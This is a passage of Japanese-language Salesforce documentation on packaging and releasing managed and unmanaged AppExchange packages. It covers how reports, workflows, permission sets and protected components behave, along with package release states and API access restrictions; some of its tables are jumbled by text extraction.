トール済みのすべてのレコードタイプに関連付けられます。登録者はこの関連付けを変更できます。
• レポートの条件でオブジェクトのレコードタイプ項目 ([取引先レコードタイプ]など) を参照すると、連

動関係が設定されます。
• レポートの条件でオブジェクトのレコードタイプ項目 ([取引先レコードタイプ]など) を集計すると、連

動関係が設定されます。
• オブジェクトのレコードタイプ項目が列としてレポートに含まれていて、登録者の組織がオブジェクト

のレコードタイプを使用していないか、レコードタイプをサポートしていない場合、列はインストール
時に削除されます。
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• オブジェクトのレコードタイプ項目が列として含まれるカスタムレポートタイプをインストールする
と、組織がレコートタイプをサポートしていないか、オブジェクトにレコードタイプが定義されていな
い場合、その列は削除されます。

レポート作成スナップショット
管理パッケージの開発者は、パッケージの前のバージョンでリリースされたレポートを参照するレポート
作成スナップショットを導入することの意味を考慮する必要があります。登録者がレポートを削除したり、
個人フォルダにレポートを移動したりすると、たとえパッケージインストールのページでインストールさ
れることが示されていても、そのレポートを参照するレポート作成スナップショットはインストールされ
ません。また、登録者がレポートを変更した場合、そのレポートでレポート作成スナップショットで表示
される情報に影響する結果が返される可能性があります。そのため、開発者はレポート作成スナップショッ
トとその関連レポートを同じバージョンでリリースします。
登録者が実行ユーザを選択するため、実行ユーザがソース項目または対象項目にアクセスできない場合は、
一部のレポート作成スナップショット項目の対応付けが無効になる可能性があります。

レポート
レポートにパッケージ化できない要素が含まれている場合、その要素は削除またはダウングレードされる
か、パッケージのアップロードに失敗します。次に例を示します。
• 活動および商談レポートから階層のドリルダウンが削除されます。
• パッケージ化できない項目の検索条件は、自動的に削除されます (たとえば、標準オブジェクトレコー

ドタイプの検索条件)。
• パッケージ化できない項目の検索条件ロジック (標準オブジェクトレコードタイプの検索条件など) がレ

ポートに含まれていると、パッケージのアップロードに失敗します。
• 標準のキャンペーンレポートの [キャンペーンの選択] 項目のルックアップ値は削除されます。
• レポートが非公開フォルダまたは [未整理公開レポート] フォルダに移動されると、レポートがパッケー

ジから削除されます。
• Chart Analytics 2.0 が存在しない組織にパッケージをインストールすると、次のようになります。

– 組み合わせグラフは、削除される代わりにダウングレードされます。たとえば、折れ線を追加した
組み合わせ縦棒グラフは単純な縦棒グラフにダウングレードされ、棒を追加した組み合わせ棒グラ
フは単純な棒グラフにダウングレードされます。

– ドーナツやじょうごなど、サポートされていないグラフの種類は削除されます。

Sコントロール
登録者がインストールできるのは、2010 年 1 月 1 日以前に作成された未管理パッケージの Sコントロールの
みです。
Sコントロールは廃止され、Visualforce (ページ 6600) ページに置き換えられました。

トランスレーションワークベンチ
• トランスレーションワークベンチを有効にして、パッケージに言語を追加した場合、関連付けられてい

る翻訳された値は適切なコンポーネントと共に自動的にパッケージ化されます。可能なすべてのコン
ポーネントに翻訳が指定されていることを確認してください。

• パッケージのインストーラは、[パッケージの詳細] ページでサポートされている言語を確認できます。
パッケージ化されている言語の翻訳は、インストーラが特定の機能を有効にしなくても表示されます。
インストーラがトランスレーションワークベンチを有効にする必要があるのは、インストール後に未管
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理コンポーネントの翻訳を変更する場合や、管理パッケージのカスタム表示ラベルの翻訳を上書きする
場合、またはその他の言語に翻訳する場合です。

• パッケージ拡張を設計する場合は、拡張コンポーネントの翻訳を含めることができますが、基本パッ
ケージのコンポーネントに翻訳を追加することはできません。

入力規則
パッケージ化されたカスタムオブジェクトの場合、関連する入力規則も暗黙的にパッケージ化されます。

Wave Analytics

Wave Analytics コンポーネントには、Wave アプリケーション、ダッシュボード、データフロー、データセッ
ト、レンズ、マスタユーザ XMD などがあります。Waveコンポーネントをパッケージ化するときには、次の
ヒントとベストプラクティスに留意してください。
• 管理パッケージとは異なり、Wave 未管理パッケージは開発者専用の機能とみなされ、汎用的な配布で

はサポートされていません。Wave 未管理パッケージは、Salesforce 未管理パッケージの制約内で期待どお
りに機能しますが、管理パッケージと同じテストレベルは適用されません。未管理パッケージは、管理
パッケージの多くのセキュリティ対策がなく、それらの制限に精通している開発者向けです。『ISVforce

ガイド』の関連するトピックも参照してください。
• Wave システム管理者権限は、パッケージを作成するためには必要ですが、リリースするためには必要

ありません。リリースには Salesforce システム管理者権限のみが必要です。
• データセットとデータフローの間には関連付けはありません。つまり、連動はしません。両方をパッ

ケージ化する場合は、手動で追加する必要があります。そうしないと、リリース中にエラーが表示され
ます。変更セットの場合と同様に、データセットとデータフローの両方をパッケージ化するときには手
動で追加します。

• Spring '17 リリースより前では、リリースするダッシュボードで使用している画像ウィジェットが対象組
織で使用不可の画像ファイルを参照している場合、画像が表示されませんでした。これを回避するため
に、手動で画像をアップロードするか、画像を含むフォルダをパッケージに追加していました。Spring

'17 リリースでは、画像がダッシュボードとパッケージ化され、ダッシュボード間の参照が維持される
ようになっています。そのため、リンクで参照されているダッシュボードは削除できません。そのよう
な場合、ソース組織でダッシュボードの画像ウィジェットまたはリンクウィジェットを再作成して再度
パッケージ化するか、対象組織でリンクの問題を修正します。

• データフローをパッケージ化する場合は注意が必要です。無効なスキーマの上書き、およびサポートさ
れていないパラメータや無効なパラメータは削除されます (たとえば、Type = dim はサポートされな
くなり、Type = textになりました)。JSON でのコメントは削除されます。ノードが異なる順序で表示
されることがあります。

ワークフロー
• Salesforceでは、公開グループ、パートナーユーザ、またはロール受信者が存在するワークフローアラー

トをアップロードできません。アプリケーションをアップロードする前に、受信者を特定のユーザに変
更してください。インストール時に、Salesforce がこのユーザをアプリケーションをインストールする
ユーザに置き換えます。インストーラは必要に応じてアプリケーションをカスタマイズできます。

• Salesforce では、[所有者] 項目をキューに変更するワークフロー項目自動更新をアップロードできませ
ん。アプリケーションをアップロードする前に、更新された項目の値を特定のユーザに変更してくださ
い。インストール時に、Salesforceがこのユーザをアプリケーションをインストールするユーザに置き換
えます。インストーラは必要に応じてアプリケーションをカスタマイズできます。
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• Salesforceでは、標準オブジェクトまたは管理-インストール済みオブジェクトのレコードタイプを参照す
るワークフロールール、項目自動更新、アウトバウンドメッセージをアップロードできません。

• Salesforceでは、ロールに割り当てられるワークフロー ToDo をアップロードできません。アプリケーショ
ンをアップロードする前に、[割り当て先] 項目を特定のユーザに変更してください。インストール時
に、Salesforceがこのユーザをアプリケーションをインストールするユーザに置き換えます。インストー
ラは必要に応じてアプリケーションをカスタマイズできます。

• ワークフロールールと、メールアラートや項目自動更新などの関連付けられたワークフローアクション
をパッケージ化できます。ただし、時間ベースのトリガはパッケージに含まれません。アプリケーショ
ンに不可欠な時間ベースのトリガを設定するように、インストーラに通知してください。
フロートリガはパッケージ化できません。フロートリガワークフローアクションのパイロットプログラ
ムは終了します。組織でパイロットをすでに有効にしている場合は、引き続きフロートリガワークフ
ローアクションを作成および編集できます。組織で パイロットを有効にしなかった場合は、代わりにプ
ロセスビルダーの [フロー] アクションを使用します。

• 一部のワークフローアクションが開発者によって保護されている場合があります。保護されたコンポー
ネントについての詳細は、「保護コンポーネント」 (ページ 7003)を参照してください。

• 開発者は、ワークフローアクションとワークフロールールの関連付けをいつでも作成または削除できま
す。関連付けの削除を含むこれらの変更は、インストール時に登録者の組織で反映されます。管理パッ
ケージでは、開発者によって関連付けられた場合、登録者は関連付けられているワークフロールールか
らワークフローアクションの関連付けを削除できません。

• ワークフローメールアラートのメール受信者など、ワークフローアクションで参照される特定のユーザ
は、パッケージをインストールするユーザに置き換えられます。ロール、公開グループ、取引先チー
ム、商談チーム、ケースチーム内の役割を参照するワークフローアクションはアップロードされない場
合があります。

• ワークフローメールアラートの [差出人メールアドレス] など、組織の共有アドレスへの参照は、イン
ストール中に現在のユーザにリセットされます。

• インストールまたはアップグレードされたパッケージで新しく作成したすべてのワークフロールール
は、インストール時に、アップロードされたパッケージと同じ有効化状況になります。

保護コンポーネント
開発者は、特定のコンポーネントに保護マークを付けることができます。保護コンポーネントは、登録者の組
織で作成されたコンポーネントからリンク付けしたり参照したりすることはできません。開発者は、今後のリ
リースで、インストールの失敗を心配することなく保護コンポーネントを削除できます。ただし、コンポーネ
ントが非保護に設定され、グローバルにリリースされると、開発者は削除できなくなります。開発者は、管理
パッケージの次のコンポーネントに保護マークを付けることができます。
• カスタム表示ラベル
• カスタムリンク (ホームページのみ)

• ワークフローアラート
• ワークフロー項目自動更新
• ワークフローアウトバウンドメッセージ
• ワークフロー ToDo
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知的財産に関する考慮事項
知的財産とその保護について検討するときに重要な情報を次に示します。
• 自分の知的財産であり、共有する権利を持っているパッケージコンポーネントのみを公開します。
• コンポーネントがForce.comAppExchangeで公開されると、それをインストールしたユーザから回収すること

はできません。
• パッケージ化して公開するコンポーネント内の情報は、Force.com AppExchangeのユーザに表示されることが

あります。数式のVisualforceページ、またはアプリケーション内で隠せないその他のコンポーネントにコー
ドを追加する場合は、注意してください。

• 管理パッケージの一部であるApexに含まれるコードは、自動的に隠され、インストール先の組織では見る
ことができません。唯一の例外には、グローバルとして宣言されているメソッドがあります。それらのメ
ソッド署名はインストールを行う組織でも参照できます。

パッケージの権限セットおよびプロファイルの設定

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

権限セットを使用可能な
エディション: Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

開発者は権限セットまたはプロファイル設定を使用して、権限およびその他の
アクセス設定をパッケージに許可できます。権限セット、プロファイル設定、
または両方の組み合わせを使用するかどうかを決定する場合は、類似点と相違
点を考慮します。

プロファイルの設定権限セット動作

含まれている権限および
設定は何か?

•• 割り当てられたアプリ
ケーション

カスタムオブジェクト
権限

• •外部オブジェクト権限 割り当てられた接続ア
プリケーション• カスタム項目権限

• タブ設定• カスタム権限
• ページレイアウトの割

り当て
• カスタムタブ表示の設

定
• レコードタイプの割り

当て
• Apexクラスのアクセス
• Visualforce ページのア

クセス • カスタムオブジェクト
権限• 外部データソースへの

アクセス • 外部オブジェクト権限
• カスタム項目権限

メモ: 権限セットに
は割り当てられた • カスタム権限

• Apexクラスのアクセスアプリケーション
および標準タブ表 • Visualforce ページのア

クセス示設定が含まれま
すが、これらの設 • 外部データソースへの

アクセス定を権限セットコ
ンポーネントとし
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プロファイルの設定権限セット動作

てパッケージ化することはで
きません。

プロファイル設定は、インストー
ルまたはアップグレード時に、登

はい。管理パッケージでのアップグレー
ドは可能か?

録者の組織の既存プロファイルに
適用されます。インストールまた
はアップグレードの一環として作
成された新しいコンポーネントに
関連する権限のみが適用されます。

はい。登録者は未管理パッケージの権限
セットを編集できますが、管理パッ
ケージの場合は編集できません。

登録者は編集できるか?

はい。登録者はパッケージコンポー
ネントに関連する権限および設定

はい。ただし、登録者が権限セッ
トをコピーまたはパッケージ化さ

コピーまたは作成できるか?

を含むすべてのプロファイルをコ
ピーできます。

れた権限セットに基づく権限セッ
トを作成すると、後続のアップグ
レードで更新されません。パッケー
ジに含まれている権限セットのみ
がアップグレードされます。

いいえ。いいえ。また、主側が標準オブジェ
クトである、主従関係にあるカス

標準オブジェクト権限は含まれる
か?

タムオブジェクトのオブジェクト
権限を含めることはできません。

いいえ。いいえ。ユーザ権限は含まれるか?

はい。プロファイル設定は、イン
ストールまたはアップグレード時

いいえ。登録者はインストール後
権限セットを割り当てる必要があ
ります。

インストールウィザードには含ま
れるか?

に、登録者の組織の既存プロファ
イルに適用されます。インストー
ルまたはアップグレードの一環と
して作成された新しいコンポーネ
ントに関連する権限のみが適用さ
れます。

なし。登録者の組織では、インス
トールによりユーザライセンスで

権限セットは、登録者の組織に権
限セットに一致する少なくとも 1 つ

ユーザライセンス要件とは?

はなくプロファイル設定が上書き
されます。

のライセンスがある場合に限りイ
ンストールされます。たとえば、
Salesforce Platform ユーザライセンス
を含む権限セットはSalesforce Platform

ユーザライセンスを持たない組織
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プロファイルの設定権限セット動作

にはインストールされません。登
録者が後でライセンスを取得する
場合は、パッケージを再インストー
ルして、新しく取得したライセン
スに関連付けられている権限セッ
トを取得する必要があります。
ユーザライセンスのない権限セッ
トが必ずインストールされます。
ユーザライセンスのない権限セッ
トを割り当てる場合は、有効化さ
れているすべての設定および権限
がユーザのライセンスで許可され
ている必要があります。許可され
ていない場合、割り当ては失敗し
ます。

プロファイル設定は既存のプロファ
イルに適用されます。

登録者はパッケージのインストー
ル後パッケージ化された権限セッ
トを割り当てる必要があります。

ユーザに割り当てる方法は?

ベストプラクティス
• パッケージ化されたプロファイルのほかに権限セットを使用して、登録者が既存のアプリケーションユー

ザに新しい権限を簡単に追加できるようにします。
• ユーザにアプリケーション、標準タブ、ページレイアウト、およびレコードタイプへのアクセス権限が必

要な場合は、アプリケーションの単一の権限付与モデルとして権限セットを使用しないでください。
• 標準の Salesforce コンポーネントではなく、パッケージのカスタムコンポーネントへのアクセス権を付与す

るパッケージ化された権限セットを作成してください。
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開発プロセスの決定
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パッケージは、管理パッケージに変更するまではすべて未管理です。これには、
Developer Edition 組織で作成した管理パッケージが必要です。リリース前にベータ
テストを行い、アップグレードを提案できるという理由から、管理パッケージ
を作成する場合もあるでしょう。
パッケージを作成する前に、処理に最適なパッケージを選択できるように今後
の開発プロセスを決定します。

未管理パッケージの開発
• アプリケーションを設計する
• アプリケーションをパッケージ化およびアップロードする

管理パッケージの開発
• アプリケーションを設計する
• ベータ版アプリケーションをパッケージ化およびアップロードする
• ベータ版のテスト担当者からフィードバックを集め、適切な修正をアプリ

ケーションに加える
• アプリケーションの最終バージョンをパッケージ化およびアップロードする

管理パッケージのリリースの計画
管理パッケージからのコンポーネントの削除
パッケージ内の未使用のコンポーネントの表示
パッケージリリース後のカスタム項目の変更
API コールのデフォルトパッケージバージョンの設定
パッケージの API アクセスおよびダイナミック Apex アクセスについて
パッケージの API アクセスおよびダイナミック Apex アクセスの管理
管理パッケージによる Enterprise WSDL の生成
連動関係とは
環境ハブ
環境ハブを使用すると、Salesforce 組織の接続、作成、参照、ログインを 1 つの場所から実行できます。開
発、テスト、およびトライアル用の複数の環境がある場合、環境ハブを使用して組織の管理方法を合理化
できます。

関連トピック:

管理パッケージのリリースの計画
パッケージの管理
パッチの作成およびアップロード
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管理パッケージのリリースの計画
AppExchange パッケージは、ソフトウェア開発で他のプログラムをリリースするのと同様の方法でリリースで
きます。各コンポーネントが計画どおりに機能するように、反復して展開することもできます。ベータ版の試
用者を募り、パッケージの初期バージョンのインストールを提供し、フィードバックを受けることもできま
す。
AppExchange に公開してリリースしたパッケージは、すべてのユーザがインストールできるようになります。
したがって、リリースは注意深く計画してください。以下に定義した状態を確認して、リリースの処理をよく
理解してください。Salesforceは、選択したアップロードの設定とリリース処理のどの時点かに基づいて、パッ
ケージとコンポーネントに適切な状態を自動的に適用します。

説明状態

パッケージが管理パッケージに変換されていないか、コンポーネントが
管理パッケージに追加されていない。「管理-ベータ」のコンポーネン

未管理

トは、管理パッケージから削除されると「未管理」になることがありま
す。管理パッケージには次の管理アイコンが表示されています。表示さ
れていないものはすべて未管理パッケージです。

パッケージまたはコンポーネントが現在のSalesforce組織で作成され、管
理されているが、次のいずれかの理由でまだリリースされていない。

管理-ベータ

• アップロードされていない。
• [管理-ベータ] オプションをオンにしてアップロードされた。この

オプションが選択されていると、AppExchange上で使用できるように
公開することはできません。開発者はこの場合でもコンポーネント
を編集できますが、インストーラが編集できるかどうかはパッケー
ジされたコンポーネントによって異なります。

メモ: 「管理-リリース済み」パッケージの上に「管理-ベータ」
パッケージをインストールしないでください。インストールする
と、パッケージをアップグレードできなくなり、アンインストー
ルして再インストールするしか選択肢がなくなります。

パッケージまたはコンポーネントが現在のSalesforce組織で作成され、管
理されている。また、[管理-リリース済み]オプションをオンにしてアッ

管理-リリース済み

プロードされているため、AppExchange 上に公開できます。パッケージ
をこの状態に移動すると、コンポーネントの一部のプロパティは開発者
とインストーラのどちらも編集ができなくなります。
このタイプのリリースは、メジャーリリースとみなされます。

管理パッケージに小規模アップグレードが必要な場合、新しいメジャー
リリースの代わりにパッチを作成することを検討してください。パッチ

パッチ

を使用することにより、開発者は、管理パッケージ内の既存のコンポー
ネントの機能を、登録者にその目に見えてわかるような変更を感じさせ
ずに変更することができます。
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説明状態

このタイプのリリースは、パッチリリースとみなされます。

パッケージまたはコンポーネントが他のSalesforce組織からインストール
され、管理されている。

管理-インストール済み

要件の変化に合わせて、開発者は管理パッケージの機能を改良し、新しいバージョンをアップロードおよびリ
リースできます。この場合に、管理パッケージの一部のコンポーネントの再設計が必要になることがありま
す。開発者は、アップグレード時に「管理-リリース済み」パッケージ内のコンポーネントの種類の一部 (全部
ではなく) を削除できます。

関連トピック:

パッケージの管理
開発プロセスの決定

管理パッケージからのコンポーネントの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージからコンポー
ネントを削除する
• 「AppExchange パッ

ケージの作成」

「管理-リリース済み」パッケージをアップロードした後、コンポーネントを
組織から削除する必要があることが判明する場合があります。コンポーネント
を削除するときに、次のいずれかの状況が発生する可能性があります。
• パッケージに追加したコンポーネントを削除できない。
• コンポーネントは削除できるが、復元は [削除されたパッケージコンポーネ

ント] ページからのみ可能。
• コンポーネントは削除できるが、復元は [削除されたパッケージコンポーネ

ント] ページまたはごみ箱から可能。
[削除されたパッケージコンポーネント] ページにアクセスするには、[設定] か
ら、[クイック検索]ボックスに「パッケージ」と入力し、[パッケージ]を選択し
ます。コンポーネントをアップロードしたパッケージを選択して、[削除したコ
ンポーネントを表示] をクリックします。パッケージの新バージョンをアップ
ロードする前であれば、コンポーネントをいつでもごみ箱または [削除された
パッケージコンポーネント] ページから取得できます。取得するには、コンポー
ネントの横にある [復元] をクリックします。
削除対象としてマークされたコンポーネントを含むパッケージがアップロード
されると、コンポーネントは永久に削除されます。

警告: コンポーネントが削除されても、その [名前] は Salesforce 内に残りま
す。別のコンポーネントを同じ名前で作成することはできません。[削除さ
れたパッケージコンポーネント] ページには、使用できなくなった名前の一
覧が表示されます。

[削除されたパッケージコンポーネント] ページにアクセスするには、[設定] から、[クイック検索] ボックスに
「パッケージ」と入力し、[パッケージ] を選択します。コンポーネントをアップロードしたパッケージを選択
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して、[削除したコンポーネントを表示]をクリックします。コンポーネントをごみ箱から取得できる場合、こ
のページからも取得できます。ここから次のタイプのコンポーネントを取得できます。
• global アクセス権を持たない Apex クラスおよびトリガ
• カスタムタブ
• public アクセス権を持つ Visualforce コンポーネント
• 保護コンポーネントには、次のものが含まれます。

– カスタム表示ラベル
– カスタムリンク (ホームページのみ)

– ワークフローアラート
– ワークフロー項目自動更新
– ワークフローアウトバウンドメッセージ
– ワークフロー ToDo

– ワークフローフロートリガ
フロートリガワークフローアクションのパイロットプログラムは終了します。組織でパイロットをすで
に有効にしている場合は、引き続きフロートリガワークフローアクションを作成および編集できます。
組織で パイロットを有効にしなかった場合は、代わりにプロセスビルダーの [フロー] アクションを使用
します。

• ドキュメント、ダッシュボード、レポートなどのデータコンポーネントこれらは、ごみ箱からも復元でき
る種別のコンポーネントのみです。

パッケージの新バージョンをアップロードする前であれば、コンポーネントをいつでもごみ箱または [削除さ
れたパッケージコンポーネント] ページから取得できます。取得するには、コンポーネントの横にある [復元]

をクリックします。
[削除されたコンポーネント] には、次の情報が表示されます (アルファベット順)。

説明属性

削除されたコンポーネントを含む「管理-リリース
済み」パッケージがまだアップロードされていない場

アクション

合、ここには[復元]リンクが含まれ、そのリンクから
コンポーネントを取得できます。

コンポーネントが含まれるパッケージのバージョン番
号が表示されます。

使用可能なバージョン

コンポーネントの名前が表示されます。名前

コンポーネントが関連付けられている親オブジェクト
の名前が表示されます。たとえば、カスタムオブジェ
クトはカスタム項目の親です。

親オブジェクト

コンポーネントの種類が表示されます。種類
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パッケージ内の未使用のコンポーネントの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次の表に、現在のバージョンのパッケージではすでに使用されなくなったコン
ポーネントを示します。ここに挙げたコンポーネントのうち、管理パッケージ
に含まれるものは、カスタムインテグレーションで使用していない限り、削除
しても安全です。未使用のコンポーネントは、削除後、このリストに 15 日間表
示されます。この期間に、コンポーネントを復元することも、完全に削除する
こともできます。カスタム項目を復元すると、項目の一部のプロパティは失わ
れるか、変更されます。15 日を過ぎると、項目とそのデータは完全に削除され
ます。

メモ: カスタム項目を削除する前に、そのデータのレコードを保管できま
す。[設定] から、[クイック検索]ボックスに「データのエクスポート」と入
力し、[データのエクスポート] を選択します。

次のコンポーネント情報がアルファベット順に表示されます。

説明属性

次のオプションのいずれかを実行できます。アクション
• 復元
• 削除

コンポーネントの名前が表示されます。名前

コンポーネントが関連付けられている親オブジェクト
の名前が表示されます。たとえば、カスタムオブジェ
クトはカスタム項目の親です。

親オブジェクト

コンポーネントの種類が表示されます。種類

パッケージリリース後のカスタム項目の変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

パッケージリリース後、パッケージのカスタム項目に次の変更が許可されます。
• テキスト項目の長さを増減できます。
• 数値項目で小数点の左側または右側の桁数を増減できます。
• 必須項目を非必須項目に変更できます。その逆も可能です。項目のデフォル

ト値が必須の場合、その制限を削除できます。その逆も可能です。
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API コールのデフォルトパッケージバージョンの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

API コールのデフォルト
パッケージバージョンを
設定する
• 「アプリケーションの

カスタマイズ」

パッケージバージョンは、パッケージでアップロードされる一連のコンポーネ
ントを特定する番号です。バージョン番号の形式は
majorNumber.minorNumber.patchNumber  (例: 2.1.3) です。メジャー番号とマ
イナー番号は、メジャーリリース時に選択した値に増えます。patchNumber

は、パッチリリースにのみ生成および更新されます。公開者は、パッケージバー
ジョンを使用して、パッケージを使用する既存の連携に影響を与えることなく
後続のパッケージバージョンをリリースすることにより、管理パッケージのコ
ンポーネントを発展させることができます。
パッケージバージョンがAPIコールで指定されていない場合、APIコールのデフォ
ルトのパッケージバージョンによって代替システム設定が指定されます。多く
のAPIクライアントにはパッケージのバージョン情報がないため、デフォルトの
設定がこれらのクライアントの既存の動作を保持します。
Enterprise APIコールおよび Partner APIコールにデフォルトのパッケージバージョン
を指定できます。Enterprise WSDL は、Salesforce 組織のみとのインテグレーション
を構築する顧客を対象とします。非常に強い型付けで、int や string など特
定のデータ型のオブジェクトや項目を指定して呼び出します。Partner WSDL は、
カスタムオブジェクトやカスタム項目に関係なく、複数のSalesforce組織にわたっ
て機能するインテグレーションを構築する顧客、パートナー、および ISV を対象
とします。あまり強い型付けでなく、特定のデータ型に依存せずに項目名と値の名前-値ペアで呼び出します。
Enterprise WSDL では、クライアントの既存の動作を維持するために、特定のパッケージバージョンと関連付け
る必要があります。Enterprise WSDL または Partner WSDL のいずれかを使用してクライアントアプリケーションか
らAPIコールのパッケージバージョンのバインド設定を行うことができます。Enterprise WSDL に基づき、クライ
アントアプリケーションから発行される API コールのパッケージバージョン情報は、次のうち、最初に一致す
る設定によって決定されます。
1. PackageVersionHeader SOAP ヘッダー。
2. serverName/services/Soap/c/api_version/ID の形式で URL が指定されている SOAP エンドポイント。

api_versionは、39.0などAPIのバージョンを示し、IDは、Enterprise WSDL の生成時にパッケージバージョ
ンの選択内容を符号化したものです。

3. Enterprise パッケージバージョンのデフォルト設定です。
Partner WSDL より柔軟で、複数の組織とのインテグレーションに使用されます。デフォルトのパートナーパッ
ケージバージョンを設定時、パッケージバージョンに [指定なし] オプションを選択すると、最新バージョンの
インストールパッケージによって、処理が定義されます。つまり、パッケージがアップグレードし、その変更
がすぐにインテグレーションに影響を与える場合、Apexトリガなどパッケージコンポーネントの処理が異なる
場合があります。パッケージバージョンの後続のインストールによって、既存のインテグレーションに影響の
ないよう、登録ユーザは、クライアントアプリケーションから、すべての Partner APIコールのインストールパッ
ケージの特定バージョンを選択する必要があります。
Partner API コールのパッケージバージョン情報は、次の設定の最初の一致によって異なります。
1. PackageVersionHeader SOAP ヘッダー。
2. Visualforce ページからの API コール。Visualforce ページのパッケージバージョン設定を使用します。
3. パートナーパッケージバージョンのデフォルト設定。
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API コールのデフォルトパッケージバージョンを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「API」と入力し、[API] を選択します。
2. [Enterprise パッケージバージョンの設定] または [パートナーパッケージバージョンの設定] をクリックしま

す。これらのリンクは、組織に管理パッケージを少なくとも 1 つインストールしている場合にのみ使用で
きます。

3. インストールした管理パッケージの [パッケージバージョン]を選択します。選択するパッケージバージョ
ンがわからない場合、デフォルトの選択内容に従います。

4. [保存] をクリックします。

メモ: 組織に新しいバージョンのパッケージをインストールしても、現在のデフォルト設定に影響はあり
ません。

パッケージの API アクセスおよびダイナミック Apex アクセスについて

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Apex パッケージコンポーネントは、インストール先の組織にある標準オブジェ
クトやカスタムオブジェクトに、ダイナミック Apex および API 経由でアクセス
できます。外部カスタマー (サードパーティ開発者やパートナーともいう) 向け
の Force.com AppExchangeパッケージを開発している場合は、こうしたアクセスを
制限することもできます。アクセスを制限することによって、システム管理者
は、安心してパッケージをインストールできます。また、そのようなパッケー
ジをインストールする管理者は、たとえパッケージ開発者が制限しなくても、
セキュリティの向上のために、インストール後のこうしたアクセスの制限を望
む場合もあります。
[API アクセス]は、パッケージの Sコントロールとその他のパッケージコンポー
ネントの標準オブジェクトやカスタムオブジェクトに対するダイナミック Apex

とAPIアクセスを制御するパッケージ設定です。設定は、パッケージ詳細ページ
で開発者とインストーラの両方に表示されます。この設定によって、次のこと
ができます。
• AppExchangeパッケージの開発者は、パッケージをForce.com AppExchangeにアップロードする前に、パッケー

ジの API アクセスを制限できます。いったん制限すると、パッケージコンポーネントが受け取る Apex およ
びAPIセッションは、パッケージ内のカスタムオブジェクトに制限されます。また、開発者は特定の標準オ
ブジェクト、このパッケージが依存するその他のパッケージのカスタムオブジェクトにアクセスできます。

• パッケージのインストーラは、パッケージを組織にインストールするときに、パッケージアクセス権限を
引き受けまたは却下できます。

• インストール後、システム管理者はいつでもパッケージの Apex および API アクセスを変更できます。イン
ストーラを使用して、インストーラの組織に作成されたカスタムオブジェクトまたは関連しないパッケー
ジでインストールしたオブジェクトなど、追加のオブジェクトに対するアクセスを有効化することもでき
ます。

[API アクセス] 設定には、使用可能なオプションが 2 つあります。
• [無制限]  (デフォルト)。パッケージのコンポーネントに対して、コンポーネントが要求をAPIに送信すると

きにログインしているユーザと同じ標準オブジェクトへの API アクセス権を許可します。Apex はシステム
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モードで実行されます。無制限のアクセス権があると、Apex ですべての標準オブジェクトとカスタムオブ
ジェクトを参照できます。

• [制限あり]。パッケージ内のコンポーネントがアクセスできる標準オブジェクトをシステム管理者が選択
できます。さらに、制限されたパッケージ内のコンポーネントは、現在のパッケージ内のカスタムオブジェ
クトへのアクセスを提供するオブジェクト権限がユーザにある場合には、それらのオブジェクトにのみア
クセスできます。

パッケージの API アクセスおよびダイナミック Apex アクセスの考慮事項
デフォルトで、ダイナミック Apex は、コードのパッケージに含まれるコンポーネントにのみアクセスできま
す。同じパッケージに含まれない標準オブジェクトへのアクセスを許可するには、開発者が [API アクセス]

を設定する必要があります。
1. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケージ] を選択します。
2. 組織の標準オブジェクトへのアクセス権を必要としているダイナミックApexが入っているパッケージを選

択します。
3. パッケージの詳細関連リストで、[制限を有効化]または [制限あり]のいずれか選択可能になっているオプ

ションをクリックします。
4. ダイナミック Apex がアクセスできる標準オブジェクトのアクセス権限レベル (「参照」、「作成」、「編

集」、「削除」) を設定します。
5. [保存] をクリックします。
パッケージの [API アクセス]の設定で [制限あり]を選択した場合に影響を受ける項目は、次のとおりです。
• パッケージの API アクセスは、次のユーザ権限を上書きします。

– Apex 開発
– アプリケーションのカスタマイズ
– HTML テンプレートの編集
– 参照のみ項目の編集
– 請求情報の管理
– コールセンターの管理
– カテゴリの管理
– カスタムレポートタイプの管理
– ダッシュボードの管理
– レターヘッドの管理
– パッケージライセンスの管理
– 公開ドキュメントの管理
– 公開リストビューの管理
– 公開レポートの管理
– 公開テンプレートの管理
– ユーザの管理
– 所有権の移行
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– チーム再割り当てウィザードの使用
– 設定・定義の参照
– ウィークリーデータのエクスポート

• [参照]、[作成]、[編集]、および [削除]アクセスがオブジェクトのAPIアクセス設定で選択されていない
場合、たとえユーザに対する「すべてのデータの編集」権限および「すべてのデータの参照」権限があっ
ても、ユーザにはパッケージコンポーネントのオブジェクトに対するアクセス権はありません。

• [制限あり]  API アクセスが有効になっているパッケージでは、新規ユーザを作成できません。
• Salesforce は、アクセスが [制限あり] になっている AppExchange パッケージからの Web サービスへのアクセ

スと executeanonymous 要求を拒否します。
次の考慮事項は、パッケージの API アクセスにも適用されます。
• ワークフロールールと Apex トリガは、パッケージの API アクセスに関係なく起動されます。
• 1 つのコンポーネントが、ある組織内の複数のパッケージに含まれる場合、API アクセスは、そのアクセス

設定に関係なく、その組織のすべてのパッケージ内にあるそのコンポーネントについて制限されません。
• パッケージに対して制限のあるアクセスを選択した後で、Salesforce が新しい標準オブジェクトを導入する

と、デフォルトでは、新しい標準オブジェクトへのアクセスが付与されません。新しい標準オブジェクト
を含めるよう、制限のあるアクセス設定を変更する必要があります。

